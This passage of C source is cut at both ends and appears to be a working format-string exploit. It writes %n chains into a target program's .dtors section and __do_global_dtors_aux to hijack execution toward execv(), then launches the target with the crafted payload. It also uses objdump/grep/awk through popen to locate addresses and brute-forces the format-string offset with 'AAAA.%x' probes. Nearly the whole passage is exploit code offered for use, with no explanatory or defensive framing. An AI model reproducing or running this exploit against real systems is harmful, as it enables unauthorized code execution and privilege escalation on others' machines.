sprintf(fmt,"%%%ux%%%d$n%%%ux%%%d$n", __do_global_dtors_aux_tail-strlen(buf), t_sflag+0, (0x10000+__do_global_dtors_aux_head)-__do_global_dtors_aux_tail, t_sflag+1); t_sflag+=2; /* __do_global_dtors_aux()+27 */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", call_edx_next_tail-__do_global_dtors_aux_head, t_sflag+0, (0x10000+call_edx_next_head)-call_edx_next_tail, t_sflag+1); t_sflag+=2; } /* execv() */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", execv_tail-call_edx_next_head, t_sflag+0, (0x10000+execv_head)-execv_tail, t_sflag+1); t_sflag+=2; strcat(buf,fmt); if((pid=fork())==0) { execl(p,p,buf,0); } wait(&pid); return 0; } int find_addr(char *p) { char buf[256]; FILE *fp; memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -d %s | " "grep \"__do_global_dtors_aux>:\" | " "awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] __do_global_dtors_aux address error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __do_global_dtors_aux_addr=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -d %s | " "grep -A 1 \"*%%edx\" | " "tail -1 | awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] call *%edx next address error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); call_edx_next=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -h %s | grep .dtors | " "awk -F\" \" {'print $4'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] __dtors_end__ section error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __dtors_end__=strtoul(buf,0,0); __dtors_end__+=0x4; printf(" [*] __do_global_dtors_aux(): %p\n" " [*] __do_global_dtors_aux()+27: %p\n" " [*] __dtors_end__ section: %p\n", __do_global_dtors_aux_addr,call_edx_next,__dtors_end__); return 0; } int find_sflag_poc(char *p) { int i; char buf[256]; FILE *fp; printf(" [+] find sflag number.\n"); for(i=0;i<200;i++) { memset(buf,0,sizeof(buf)); sprintf(buf,"%s AAAA.%%%d\\$x",p,i); if((fp=popen(buf,"r"))==NULL) { printf(" [-] %s execute error\n",p); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); if(strstr(buf,"AAAA.41414141")) { sflag=i; printf(" [*] sflag: %d\n",sflag); return 0; } } return -1; } int find_execute_command(char *p) { unsigned char buf[256]; unsigned char code[16]; FILE *fp; int j,z; memset((char *)code,0,sizeof(code)); memset((char *)buf,0,sizeof(buf)); sprintf(buf,"objdump -d %s | " "grep *%%edx -A 30 | " "grep \\$0x0,%%eax -B 16 | " "awk -F\"\\t\" {'print $2'} | " "awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf("error\n"); exit(-1); } j=z=0; memset((char *)buf,0,sizeof(buf)); while(fgets(buf,sizeof(buf)-1,fp)) { for(j=0;j